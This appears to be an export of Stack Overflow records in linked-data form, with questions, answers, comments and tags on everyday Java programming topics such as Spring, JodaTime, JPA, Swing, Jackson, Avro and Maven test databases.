has title: Writing data to a txt file file using java classes

http://stackoverflow.com/q/22237248
has comment: http://stackoverflow.com/comment/33768915
upvote count: 4
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/243385
has body: Whenever someone describes the difference between BeanFactory and ApplicationContext, an argument, "Automatic registration of BeanPostProcessor", is very common in favour of ApplicationContext interface. Unfortunately, I don't understand these magic words. Can someone elaborate, what does "automatic registration" mean here? Many thanks! BeanFactory vs ApplicationContext http://docs.spring.io/spring/docs/2.5.x/reference/beans.html#context-introduction-ctx-vs-beanfactory
downvote count: 0
has answer: http://stackoverflow.com/a/22244907
favorite count: 0
type: Question
tagged with: spring
tagged with: inversion-of-control
score: 4
has comment: http://stackoverflow.com/comment/33781422
tagged with: java
accepted answer: http://stackoverflow.com/a/22244907
has title: Spring automatic registration meaning
answer count: 1

http://stackoverflow.com/comment/33850530
comment on: http://stackoverflow.com/q/22282107
score: 0
type: Comment
type: QuestionComment
has text: I have not used maven ,and no pom.xml file I have used in this project.

http://stackoverflow.com/comment/33801989
has text: And is there any services with 16+ cores where I can test performance of my fork/join algorithms?
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22201735

http://stackoverflow.com/a/22251501
has body: I think this is what you want: BufferedReader reader = new BufferedReader(new FileReader("text.txt")); String line = null; ArrayList&lt;String&gt; block = new ArrayList&lt;String&gt;(); String tmp=""; while ((line = reader.readLine()) != null) { if(line.equals("")) { block.add(tmp); tmp=""; } else { tmp = tmp + line; } } block.add(tmp); reader.close(); System.out.println(block.size()); System.out.println(block.toString()); Just run a for loop to copy that to another text file. Replace tmp = tmp + line"; with tmp = tmp + line+"\n"; if you want your string in the same format with the source file
score: 2
downvote count: 0
upvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22251287
has comment: http://stackoverflow.com/comment/33799785
answers question: http://stackoverflow.com/q/22251287
has comment: http://stackoverflow.com/comment/33794903
type: Answer

http://stackoverflow.com/comment/33666819
has text: To determine the quadrant, he first needs the angle between the center of the rectangle and any corner--thus, atan(height/width). This will give the half-angle (center-to-green, if green is on a corner). Then atan(mouse.y/mouse.x) will provide the angle of the line from the rectangle center to the mouse cursor (because in his code, the mouse is located relative to the center of the rectangle). Finally, there are 4 variations of your solution, one for each quadrant.
comment on: http://stackoverflow.com/a/22180273
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/33861554
type: AnswerComment
type: Comment
has text: i understand we want to ignore the first ) that Scanner finds. So why does it need a closing parenthesis?
comment on: http://stackoverflow.com/a/22288258
score: 0

http://stackoverflow.com/comment/33803052
score: 0
comment on: http://stackoverflow.com/a/22254841
type: Comment
has text: You need to define the Home Activity in your AndroidManifest.xml
type: AnswerComment

http://stackoverflow.com/comment/33676904
has text: Have you tried MouseListener (or MouseAdapter) and implement the mouseReleased(MouseEvent e) method? Then, obtain the new size and redraw your image on the new size?
comment on: http://stackoverflow.com/q/22186077
score: 0
type: Comment
type: QuestionComment

maven-failsafe-plugin
tags question: http://stackoverflow.com/q/22194900
tag name: maven-failsafe-plugin
type: Tag

http://stackoverflow.com/q/22310329
has title: JodaTime - Check if LocalTime is after now and now before another LocalTime
tagged with: java
upvote count: 4
tagged with: jodatime
answer count: 2
downvote count: 0
favorite count: 0
tagged with: time
tagged with: android
possible better answer: http://stackoverflow.com/a/22310376
has answer: http://stackoverflow.com/a/22310376
score: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22310412
has body: I am trying to check if the currenttime is after a startLocalTime and before another endLocalTime which is the start time plus 11 hours. This works fine if the start time is 11:00 (end time will be 22:00). However when I try to compare a start time of 16:00 and an end time of 03:00, currentTime.isBefore(endTime) will never be logged, but it should be. LocalTime currentTime = LocalTime.now(); //21:14 LocalTime startTime = new LocalTime( 16, 00, 0, 0); LocalTime endTime = startTime.plusHours(11); //03:00 Midnight if(currentTime.isAfter(startTime)){ Log.v("Test", "After startTime"); } if(currentTime.isBefore(endTime)){ Log.v("Test", "Before endTime"); } Any ideas how to solve this problem?
accepted answer: http://stackoverflow.com/a/22310412
type: Question

http://stackoverflow.com/comment/33826100
has text: just use it as a regular file
type: QuestionComment
comment on: http://stackoverflow.com/q/22268983
type: Comment
score: 2

http://stackoverflow.com/a/22267288
answers question: http://stackoverflow.com/q/22266551
has body: You have to add relation mappigs like @OneToOne, @ManyToOne, @ManyToMany. That depends on your db relationship between. As you want to have User FK in your Message entity, you Message mapping should be like this: @Entity @Access(FIELD) public class Message { @GeneratedValue(strategy = AUTO) @Id private Long id; @ManyToOne private User fromUser; @ManyToOne private User toUser; } as for SQL you should add FK constraints to the User entiy. Before you will read about "Hibernate and SQL" start with only relational SQL engines, as you don't have basic knowlage about relations I suppose (no hard feelings please).
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22266551

http://stackoverflow.com/comment/33809739
type: AnswerComment
type: Comment
has text: @GigantoMK: That's effectively what you've already got in your question! Your existing code already works if you give it valid input. My guess is that your *real* code before was masking the parse exception...
score: 1
comment on: http://stackoverflow.com/a/22259580

http://stackoverflow.com/comment/33682887
score: 0
has text: post your code in which you're call the onButtonClick() method
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22189588

http://stackoverflow.com/a/22316817
answers question: http://stackoverflow.com/q/22316777
has comment: http://stackoverflow.com/comment/33912278
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/33912358
score: 0
has comment: http://stackoverflow.com/comment/33912695
has body: If you throw an exception, you have to catch it Otherwise your program will just crash. Put your code in a try/catch block and handle the exception in your catch. try{ for(String s : s1){ if(s.equals(workStream)){ workSteam2=workStream; }else{ throw new Exception(); } } }catch(Exception e){ // handle your exception here } If you want to quit your program, you can use System.exit(0) as well.
type: Answer

http://stackoverflow.com/q/22252478
type: UnansweredQuestion
has body: I am using 32-bit Eclipse Juno in Windows 7, and has set the 'JRE System Library' also as 32-bit 'JavaSE-1.7'. In the 'Window->Preferences->Java->InstalledJREs->Execution Environments' part, in the 'Exexcution Environments' section I selected 'JavaSE-1.7' and on the right column, which is 'Compatible JREs:', I ticked 'jdk7[perfect match]' for it. But when running my application, after it run for a little bit, I got the following error: terminated, exit value: -1073740940 When I select 'jdk1.7.0_15[perfect match]' for 'Compatible JREs' in the 'Window->Preferences', this time I got the following error: Exception in thread "main" java.lang.UnsatisfiedLinkError: C:\MyCodes\AdtLab\build\x86\vc11\bin\Adt.dll: Can't load IA 32-bit .dll on a AMD 64-bit platform. This is the first time I see this kind of error. My other applications developed under the same environment were running well. What could be the reason for this? By the way, my OS is 64-bit Windows 7. If someone would suggest that I should install 64-bit Eclipse and JRE, then my question would be: why then my previous codes are running well in this environment? Thanks.
has title: Java: terminated, exit value: -1073740940
score: 2
tagged with: java
tagged with: error-handling
has answer: http://stackoverflow.com/a/58912544
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33799141
tagged with: runtime-error
has comment: http://stackoverflow.com/comment/33799446
has comment: http://stackoverflow.com/comment/33798695
downvote count: 0
answer count: 1
favorite count: 0
tagged with: compiler-errors
upvote count: 2

http://stackoverflow.com/q/22258151
has answer: http://stackoverflow.com/a/22258710
downvote count: 0
score: 1
tagged with: java
tagged with: hibernate
type: Question
tagged with: jpa
has body: i haven´t some big experiences with the topic JPA and Hibernate. For me it is not clear, when it is necessary to write the JPA annotation at the member variable of my entity class ans when i can use the get methods for my annotations. Is it right, that annotations should not being set at the set method of an entity?. Here is a small example: public class MessageEntity implements Persistable{ @ManyToOne StatusEntity state; @Column(nullable = false) private Boolean freitext = false; private Collection&lt;Variables&gt; variables; @OneToMany(cascade = { CascadeType.MERGE, CascadeType.PERSIST }, targetEntity = Variables.class) public Collection&lt;Variables&gt; getVariables() { return this.variables; } } Also it is not clear for me, when i must use the attribute targetEntity. Can somebody explain that for me? Maik
answer count: 2
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22258483
type: UnansweredQuestion
has title: Set JPA Annotations at the member variable or at get methods of an entity?

http://stackoverflow.com/comment/33951422
type: Comment
comment on: http://stackoverflow.com/a/22279249
has text: `Imagine the case where your locationListener keeps running in the background.` doesn't java optimize it and keep the listener asleep for minTime parameter anyway?
type: AnswerComment
score: 0

http://stackoverflow.com/q/22221075
type: UnansweredQuestion
tagged with: selenium
has title: Selenium Webdriver for gwt multi upload component
has comment: http://stackoverflow.com/comment/33741046
tagged with: gwt
tagged with: java
has body: Case 1: I am trying to automate multiple file upload functionality. Whatever xpath I am giving is finding the element properly, but when I am executing program (using WebDriverWait class) it is failing, giving following error Exception in thread "main" org.openqa.selenium.TimeoutException: Timed out after 5 seconds waiting for visibility of element located by By.className: gwt-FileUpload Build info: version: '2.39.0', revision: 'ff23eac', time: '2013-12-16 16:12:12' Case 2: I am trying to automate upload files from local server. Whatever xpath I am giving is finding the element properly, but when I am executing program (without using WebDriverWait class) it is failing, giving following error: Exception in thread "main" org.openqa.selenium.InvalidSelectorException: The given selector //input[@class='gwt-FileUpload is either invalid or does not result in a WebElement. The following error occurred: InvalidSelectorError: Unable to locate an element with the xpath expression //input[@class='gwt-FileUpload Code is as follows: WebDriver driver=new FirefoxDriver(); driver.get("http://localhost:8080/application/"); driver.findElement(By.xpath("//input[@ type='text']" )).sendKeys("test");//user name driver.findElement(By.xpath("//input[@ type='password']")).sendKeys("test");//pwd driver.findElement(By.xpath("//button[@class='button']")).click();//WebDriverWait wait = new WebDriverWait(driver,5); wait.until(ExpectedConditions.visibilityOfElementLocated(By.xpath("//td[@id='gwt-uid-8']"))); driver.findElement(By.xpath("//td[@id='gwt-uid-8']")).click();//dropdown selection driver.findElement(By.xpath("//td[@id='gwt-uid-3']")).click();//dropdown selection /*wait = new WebDriverWait(driver,5); wait.until(ExpectedConditions.visibilityOfElementLocated(ByClassName.className("gwt-FileUpload")));*/ driver.findElement(By.xpath("//button[@class='button DecoratedFileUpload-button']")).click();//button driver.findElement(By.xpath("//input[@class='gwt-FileUpload")).sendKeys("D:/xyz.doc"); Pl…
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/33741463
tagged with: file-upload
favorite count: 0
score: 2
tagged with: xpath
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/33813307
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22259712
has text: Actually I did not know that! So it is printing in PST. Makes sense now :)
score: 0

http://stackoverflow.com/comment/33812138
has text: Please share myapp-admin.html. Is it defined ` ` in you html file? Define rename-to `<module rename-to='myapp'>` in your gwt.xml. Change source path to ` `
comment on: http://stackoverflow.com/q/22254533
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33848082
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22280923
has text: You won't be able to develop efficiently if you don't learn how to read the logcat. Step one is to look for `Caused by`.

http://stackoverflow.com/q/22272388
has comment: http://stackoverflow.com/comment/33832150
tagged with: teradata
has title: How to create JProgressBar for executeUpdate()
type: UnansweredQuestion
tagged with: jprogressbar
has comment: http://stackoverflow.com/comment/33833204
has answer: http://stackoverflow.com/a/22304386
has answer: http://stackoverflow.com/a/22301345
tagged with: java
tagged with: prepared-statement
type: Question
answer count: 2
has body: My little application uploads table to a database . Connection .... ... ... PreparedStatement ps ... ps.executeUpdate() ; // this takes a while so I want to create a progress bar How can I track progress of ps.executeUpdate() ? Can anybody post a java code to do that ? I need to create a progress bar (My database is Teradata)
has comment: http://stackoverflow.com/comment/33833242
score: 0
has comment: http://stackoverflow.com/comment/33832169

http://stackoverflow.com/a/22270684
has body: Here's a working sample, similar to your original. Note that closing resources is very important: import java.io.*; import java.util.*; public class ReadFile { public static final void main(String[] argv) { String fileName="data-2.txt"; writeFile(fileName); readFile(fileName); } private static void writeFile(String fileName) { BufferedWriter writer = null; try { writer = new BufferedWriter(new FileWriter(fileName)); for(int x=0; x&lt;64; x++) { writer.write("some data\n"); } writer.newLine(); writer.newLine(); } catch(IOException x) { x.printStackTrace(); } finally { safeClose(writer); } } private static void readFile(String fileName) { BufferedReader reader = null; String line = null; try { reader = new BufferedReader( new FileReader( fileName )); while((line = reader.readLine()) != null) { System.out.println(line); } } catch(IOException x) { x.printStackTrace(); } finally { safeClose(reader); } } private static void safeClose(Closeable closeable) { if(null != closeable) { try { closeable.close(); } catch(IOException x) { //ignore -x.printStackTrace() } } } }
upvote count: 1
answers question: http://stackoverflow.com/q/22270287
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/q/22247367
has title: bloom filter in reduce side join
downvote count: 0
has body: I'm currently exploring bloom filter. I've gone through most of the blogs on bloom fitlers and know what is but still not able to figure out an example on in case joins. Every article says that it'll reduce the network I/O but none of them show how? Particular one was good http://vanjakom.wordpress.com/tag/distributed-cache/ but it seemed as complex one as I've just started out with map reduce. Can any one help me in implementing bloom filter in the below example(reduceside join) 2 mapers to read user records and department records and reducer to join User Records id, name 3738, Richie Gore 12946,Rony Sam 17556,David Gart 3443,Rachel Smith 5799,Paul Rosta Department records 3738,Sales 12946,Marketing 17556,Marketing 3738,Sales 3738,Sales Code public class UserMapper extends MapReduceBase implements Mapper&lt;LongWritable, Text, Text, Text&gt;{ private Text outkey = new Text(); private Text outval = new Text(); private String id, name; public void map (LongWritable key, Text value, OutputCollector&lt;Text, Text&gt; ouput,Reporter reporter) throws IOException { String line = value.toString(); String arryUsers[] = line.split(","); id = arryUsers[0].trim(); name = arryUsers[1].trim(); outkey.set(id); outval.set("A"+ name); ouput.collect(outkey, outval); } } public class DepartMapper extends MapReduceBase implements Mapper&lt;LongWritable, Text, Text, Text&gt; { private Text Outk = new Text(); private Text Outv = new Text(); String depid, dep ; public void map (LongWritable key, Text value, OutputCollector&lt;Text, Text&gt; output, Reporter reporter) throws IOException { String line = value.toString(); String arryDept[] = line.split(","); depid = arryDept[0].trim(); dep = arryDept[1].trim(); Outk.set(depid); Outv.set("B" + dep); output.collect(Outk, Outv); } } and Reducer ublic class JoinReducer extends MapReduceBase implements Reducer&lt;Text, Text, Text, Text&gt; { private Text tmp = new Text(); private ArrayList&lt;Text&gt; listA = new ArrayList&lt;Text&gt;(); private…
tagged with: bloom-filter
answer count: 1
score: 1
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/26759089
tagged with: java
upvote count: 1
tagged with: mapreduce
type: Question
tagged with: hadoop

http://stackoverflow.com/q/22174560
type: Question
answer count: 2
downvote count: 0
has body: i have a simple Object containing an id. I am searching for a way to use it as a key in a hashmap. Jersey is registered as a servlet in my web.xml Jersey Web Application org.glassfish.jersey.servlet.ServletContainer javax.ws.rs.Application org.ambientlight.RestConfig 1 jackson is registered here. public class RestConfig extends ResourceConfig { public RestConfig() { packages("org.ambientlight.webservice"); register(JacksonFeatures.class); } } This is my key object: @JsonSerialize(using = SwitchableIdSerializer.class) public class SwitchableId { public String id; public SwitchType type; public SwitchableId(String id, SwitchType type) { super(); this.id = id; this.type = type; } } this is my serializer public class SwitchableIdSerializer extends JsonSerializer<SwitchableId> { @Override public void serialize(SwitchableId data, JsonGenerator json, SerializerProvider provider) throws IOException, JsonGenerationException { json.writeString(data.id + "|" + data.type); } } if i return the SwitchableId directly everything works like aspeceted. but if i return a structure with a hasmap then the serializer is not used and just simple SwitchableId.toString() is applied. There are so many examples out there. for older releases or if jackson is used standalone. But i cannot find any hint how to deal within a jersey servlet. Please help! i have tried to annotate the containing class: public class PowerstateHandlerConfiguration extends AbstractActionHandlerConfiguration { @JsonSerialize(keyUsing = SwitchableIdSerializer.class) public Map<SwitchableId, Boolean> powerStateConfiguration = new HashMap<SwitchableId, Boolean>(); } but without success. What is missing?
tagged with: jackson
has answer: http://stackoverflow.com/a/22209192
tagged with: rest
has answer: http://stackoverflow.com/a/22439637
possible better answer: http://stackoverflow.com/a/22209192
has title: jersey 2.6 jackson 2.3 and complex keys in maps
favorite count: 0
upvote count: 2
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22439637
tagged with: java
tagged with: http://stackoverflow.com/tag/json
tagged with: servlets

http://stackoverflow.com/q/22269706
accepted answer: http://stackoverflow.com/a/22269842
has title: Generics extends and super with ? differencies
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33827279
tagged with: generics
has comment: http://stackoverflow.com/comment/33827314
favorite count: 0
has comment: http://stackoverflow.com/comment/33827225
has comment: http://stackoverflow.com/comment/33827217
type: AnsweredQuestion
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33827243
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22269842
has body: I try to understand generics behaviour in java I write same code: common part: class A1{} class B1 extends A1{} class C1 extends B1{} case 1: List&lt;? extends B1&gt; list = new ArrayList&lt;C1&gt;(); list.add(new A1());// compile error list.add(new B1());//compile error list.add(new C1());//compile error case 2: List&lt;? super B1&gt; list = new ArrayList&lt;A1&gt;(); list.add(new A1());//compile error list.add(new B1());//valid list.add(new C1());//valid I think that I wrote simmetrical code. Why I see non-simmetrical results?
tagged with: inheritance
tagged with: wildcard

http://stackoverflow.com/comment/33906059
score: 0
type: Comment
type: QuestionComment
has text: Write an aggregate decorator?
comment on: http://stackoverflow.com/q/22312921

http://stackoverflow.com/a/22234017
type: AcceptedAnswer
type: Answer
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/22233850
has body: ScheduledThreadPoolExecutor You can use java.util.Timer or ScheduledThreadPoolExecutor (preferred) to schedule an action to occur at regular intervals on a background thread. Here is a sample using the latter: ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); scheduler.scheduleAtFixedRate (new Runnable() { public void run() { // call service } }, 0, 10, TimeUnit.MINUTES);
accepted answer of: http://stackoverflow.com/q/22233850
score: 0

http://stackoverflow.com/q/22247435
type: Question
answer count: 2
has title: Why won't PhantomJSDriver use the capabilities I set?
has answer: http://stackoverflow.com/a/24626150
has answer: http://stackoverflow.com/a/26049806
favorite count: 0
score: 8
has comment: http://stackoverflow.com/comment/34518469
has body: I'm setting some capabilities for PhantomJsDriver. DesiredCapabilities caps = new DesiredCapabilities(); caps.setJavascriptEnabled(true); caps.setCapability("cssSelectorsEnabled", false); caps.setCapability("applicationCacheEnabled", true); caps.setCapability("acceptSslCerts",true); caps.setCapability(PhantomJSDriverService.PHANTOMJS_EXECUTABLE_PATH_PROPERTY,phantomJsPath); this.driver = new PhantomJSDriver(caps); Then, I check what capabilities the driver is using: System.out.println(driver.getCapabilities()); Output: Capabilities [{ platform=XP, acceptSslCerts=false, javascriptEnabled=true, browserName=phantomjs, rotatable=false, driverVersion=1.1.0, locationContextEnabled=false, version=1.9.7, cssSelectorsEnabled=true, databaseEnabled=false, handlesAlerts=false, browserConnectionEnabled=false, proxy={proxyType=direct}, nativeEvents=true, webStorageEnabled=false, driverName=ghostdriver, applicationCacheEnabled=false, takesScreenshot=true}] It shows: cssSelectorsEnabled=true, applicationCacheEnabled=false, acceptSslCerts=false Why is the driver running without the capabilities I set?
type: UnansweredQuestion
tagged with: selenium
tagged with: phantomjs
downvote count: 0
tagged with: java
upvote count: 8

http://stackoverflow.com/comment/33761651
score: 0
has text: Pressing the Ctrl-space key does not help prediction?
comment on: http://stackoverflow.com/q/22233511
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22315485
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22315401
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22315401
has body: Your basic problem comes down to the fact that a component can only reside within a single parent... // You create a card... JButton card = new JButton(); // You create an array of buttons JButton[] deck = new JButton[9]; int xLoc=20, yLoc=5; // You set the icon card.setIcon(new ImageIcon("Back.jpg")); // This is not a good idea... card.setSize(200,250); // JButton is visible by default... card.setVisible(true); // Start your loop... for(int i=0; i&lt;9;i++) { // Assign the card reference to an element in the array... deck[i]=card; // Add the card, via the array to the component...here's your problem... pane.add(deck[i - 1]); In adding card to pane, it is first removed from pane, as it can only have one parent. What you need to do, is assign a unique instance of JButton to each element in the array // You create an array of buttons JButton[] deck = new JButton[9]; // Start your loop... for(int i=0; i&lt;9;i++) { // Assign the card reference to an element in the array... deck[i]=new JButton(); // You set the icon deck[i].setIcon(new ImageIcon("Back.jpg")); // This is not a good idea... deck[i].setSize(200,250); // JButton is visible by default... deck[i].setVisible(true); // Add the card, via the array to the component...here's your problem... pane.add(deck[i]); Now, I can't see from your code snippet, but it would appear you are trying to use a null layout, this is highly inadvisable. Instead, make the time to learn and understand how to use appropriate layout managers. If you're not using a null layout or don't know what I'm talking about, then things like setSize and setLocation won't work the way you expect them to...

http://stackoverflow.com/comment/33666280
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22179732
has text: I have edited my original answer to include mouse event capturing

http://stackoverflow.com/comment/33669301
type: Comment
comment on: http://stackoverflow.com/q/22180425
type: QuestionComment
has text: search in posts by @MadProgrammer use jtable + swingworker tags
score: 0

http://stackoverflow.com/q/22203083
has comment: http://stackoverflow.com/comment/33707583
score: 0
tagged with: key-value
has body: I am trying to build a many to one key value pair in java. Till now all I have manged is this public class KeyStore { int i=1; Map&lt;Integer,String&gt; map1=new HashMap&lt;Integer,String&gt;(); Map&lt;String,List&lt;Integer&gt;&gt; map2=new HashMap&lt;String,List&lt;Integer&gt;&gt;(); public synchronized int put(String blobString) { if(map1.containsValue(blobString)){ int r=blobString.hashCode()+i*blobString.hashCode(); i++; map1.put(r, blobString); List&lt;Integer&gt; j=map2.get(blobString); List&lt;Integer&gt; k=j; map2.remove(blobString); k.add(r); map2.put(blobString, k); return r; } else{ map1.put(blobString.hashCode(),blobString); List&lt;Integer&gt; x=new ArrayList&lt;Integer&gt;(); x.add(blobString.hashCode()); map2.put(blobString,x); return blobString.hashCode(); } } public synchronized String get(int objectId) { return map1.get(objectId); } What this does is if i put ks.put("abc") ks.put("abc") Here ks is an instant of the class containing the above methods. it results in {1916062554=abc, 958031277=abc} But what I want is 191602554,958031277=abc and if i use get() on either of these keys it should output the value abc. Also delete() should delete the most recent key and not harm the other keys. I thought of using Map&lt;ArrayList&lt;Integer&gt;,String&gt; keystore=new HashMap&lt;ArrayListInteger&gt;,String&gt;(); but I dont know how to implement the put method i.e how to insert a key in a map of lists. Need help with this. EDIT 1 I am able to make the get and put methods work. Struggling with the delete method. Wrote it some what like this Map&lt;Integer,String&gt; map1=new HashMap&lt;Integer,String&gt;(); Map&lt;String,List&lt;Integer&gt;&gt; map2=new HashMap&lt;String,List&lt;Integer&gt;&gt;(); public synchronized void delete(int objectId) { map1.remove(objectId); Iterator&lt;Entry&lt;String, List&lt;Integer&gt;&gt;&gt; it = map2.entrySet().iterator(); loop1: while (it.hasNext()) { @SuppressWarnings("rawtypes") Map.Entry pairs = (Map.Entry)it.next(); @S…
tagged with: dictionary
has comment: http://stackoverflow.com/comment/33707200
tagged with: mapping
has comment: http://stackoverflow.com/comment/33706983
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33707116
type: Question
has comment: http://stackoverflow.com/comment/33707371
has comment: http://stackoverflow.com/comment/33707091
tagged with: hashmap
tagged with: java
has comment: http://stackoverflow.com/comment/33707966
has comment: http://stackoverflow.com/comment/33706896
has answer: http://stackoverflow.com/a/22203928
has comment: http://stackoverflow.com/comment/33707024
has answer: http://stackoverflow.com/a/22203466
answer count: 2
has title: Many to one mappings in Java

http://stackoverflow.com/comment/33854781
type: QuestionComment
comment on: http://stackoverflow.com/q/22284672
score: 0
has text: Note also that `>>=` carries the sign bit; you should use `>>>=` instead, which doesn't
type: Comment

http://stackoverflow.com/a/28229114
score: 2
has comment: http://stackoverflow.com/comment/44821588
answers question: http://stackoverflow.com/q/22265452
has comment: http://stackoverflow.com/comment/44875084
has comment: http://stackoverflow.com/comment/44821469
downvote count: 0
upvote count: 2
type: Answer
has body: I know it says "Avoid responding to other answers" but as a new registrant (but long-time user) I am only eligible to write "answers" or suggest edits.. I can't add comments to an answer until I am upvoted ! :-) However, there are just too many errors in the source code in peeskillet's answer to qualify simply as "suggested edits" :-) Accidental interchange / confusion of ROWS and COLUMNS : SPRITE_ROWS = 5; SPRITE_COLUMNS = 2; DIM_W = img.getWidth() / SPRITE_ROWS; DIM_H = img.getHeight() / SPRITE_COLUMNS; Further down the code, the program is clearly trying to treat rows and columns of the animation pictures in the grid correctly, but it is only because both of these are backwards that the program works. (ie there are 5 Columns and 2 Rows in the grid of images for the sample nerdgirl). Accidental interchange of DIM_H and DIM_W (1 occurrence) : if (x1Src &gt;= img.getWidth() - DIM_H - 5) { // 5 to take care of precisi "DIM_H" should be "DIM_W" As listed, this code would cause a premature jumping to the next row of animation images in the grid (not showing the last image in each row) in the case where the individual images are either significantly taller than they are wide, or else there are many images in each row of the original grid. With the nerdgirl sample (833 x 639), the last image in each row would not have been shown if the overall grid had been just 10 pixels taller. (DIM_H = 319, img.getWidth()-DIM_H-5 = 503 and the last frame shows when x1Src = 498 ..only just made it !) Current code as shown only processes 2 rows of animation frames (even thought it correctly calculates the SIZE of each frame by changing eg SPRITE_COLUMNS (sic) to 4 for the running Man example). This is because the following if-test : if (y1Src &gt;= DIM_H - 5) { // 5 to take care of lack of prec y1Src = 0; ... should be : if (y1Src &gt;= imag.getHeight() - DIM_H - 5) { // 5 to take car y1Src = 0; ..as the current code only ever displays 2 rows of sprite images even if there were more. (T…

http://stackoverflow.com/comment/33902063
comment on: http://stackoverflow.com/q/22310812
score: 4
type: Comment
type: QuestionComment
has text: "it's just up to the the programmer to sanitize the inputs." What could possibly go wrong then?

http://stackoverflow.com/q/22174902
answer count: 1
downvote count: 0
favorite count: 0
score: 4
type: UnansweredQuestion
tagged with: java
has body: I'm trying to create Avro file in Java (just testing code at the moment). Everything works fine, the code looks about like this: GenericRecord record = new GenericData.Record(schema); File file = new File("test.avro"); DatumWriter&lt;GenericRecord&gt; datumWriter = new GenericDatumWriter&lt;GenericRecord&gt;(schema); DataFileWriter&lt;GenericRecord&gt; dataFileWriter = new DataFileWriter&lt;GenericRecord&gt;(datumWriter); dataFileWriter.create(schema, file); dataFileWriter.append(record); dataFileWriter.close(); The problem I'm facing now is - what kind of Java object do I instantiate when I want to write Union? Not necessarily on the top level, possibly attach the union to a record being written. There are a few objects for complex types prepared, like GenericData.Record, GenericData.Array etc. For those that are not prepared, usually the right object is simply a standard Java object (java.util.Map implementing classes for "map" Avro type etc.). But I cannot figure out what is the right object to instantiate for writing a Union. This question refers to writing Avro file WITHOUT code generation. Any help is very much appreciated.
type: Question
tagged with: union
tagged with: avro
has answer: http://stackoverflow.com/a/25039151
has title: How to write union when creating Avro file in Java
upvote count: 4

http://stackoverflow.com/comment/33931396
type: Comment
type: AnswerComment
has text: whats the annotation?
comment on: http://stackoverflow.com/a/22327152
score: 0

http://stackoverflow.com/q/22222808
answer count: 0
has body: I just integrated PostgreSQL into my first JAX-RS project and now I am wondering how I can setup databases to test my application using Maven. I already managed to create the database and the tables I need before the test phase starts, but I was not able to fill the tables with test data. I am missing a good guide that tells me how to setup my spozz_db_testdata.xml file. I currently just know how I could add rows that only use primitive types like string or integer, but what about binary data? Any solution or tips will help. Current spozz_db_testdata.xml <?xml version='1.0' encoding='UTF-8'?> <avatars /> <users /> <spots /> <spot_revisions /> <spot_images /> <comments /> pom.xml 4.0.0 net.avedo.spozz Spozz-Webservice 0.0.1-SNAPSHOT <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <jetty.version>9.1.0.v20131115</jetty.version> <jersey.version>1.8</jersey.version> <junit.version>4.11</junit.version> <apache.commons.version>1.3.2</apache.commons.version> <apache.http.version>4.3.2</apache.http.version> <jsp.version>2.5</jsp.version> <maven.compiler.plugin.version>2.5.1</maven.compiler.plugin.version> <sql.maven.plugin.version>1.5</sql.maven.plugin.version> <postgresql.jdbc.version>9.1-901.jdbc4</postgresql.jdbc.version> ... postgresql postgresql ${postgresql.jdbc.version} test ... org.codehaus.mojo sql-maven-plugin ${sql.maven.plugin.version} postgresql postgresql ${postgresql.jdbc.version} org.postgresql.Driver jdbc:postgresql://localhost:5432:spozz_db postgres root sensibleKey ${maven.test.skip} drop-schema-before-test-if-any process-test-resources execute jdbc:postgresql://localhost:5432:postgres true DROP SCHEMA spozz CASCADE continue create-schema process-test-resources execute true src/main/sql/spozz-schema.sql org.codehaus.mojo dbunit-maven-plugin 1.0-beta-3 postgresql postgresql ${postgresql.jdbc.version} org.postgresql.Driver jdbc:postgresql://localhost:5432:spozz_db postgres root sensibleKey ${maven.test.skip} test-compile operation CLEAN_IN…
score: 1
tagged with: java
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33791939
has comment: http://stackoverflow.com/comment/33752591
downvote count: 0
tagged with: jax-rs
has title: Automatically creation of test databases using Maven
favorite count: 0
tagged with: postgresql
type: UnansweredQuestion
tagged with: jetty
tagged with: maven

http://stackoverflow.com/q/22232926
favorite count: 0
has comment: http://stackoverflow.com/comment/33760899
has title: Use Jackson to parse and unnamed array
upvote count: 4
has comment: http://stackoverflow.com/comment/33760345
has answer: http://stackoverflow.com/a/22233293
accepted answer: http://stackoverflow.com/a/22233293
has comment: http://stackoverflow.com/comment/33760397
downvote count: 0
type: Question
has comment: http://stackoverflow.com/comment/33760710
type: AnsweredQuestion
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33760580
answer count: 1
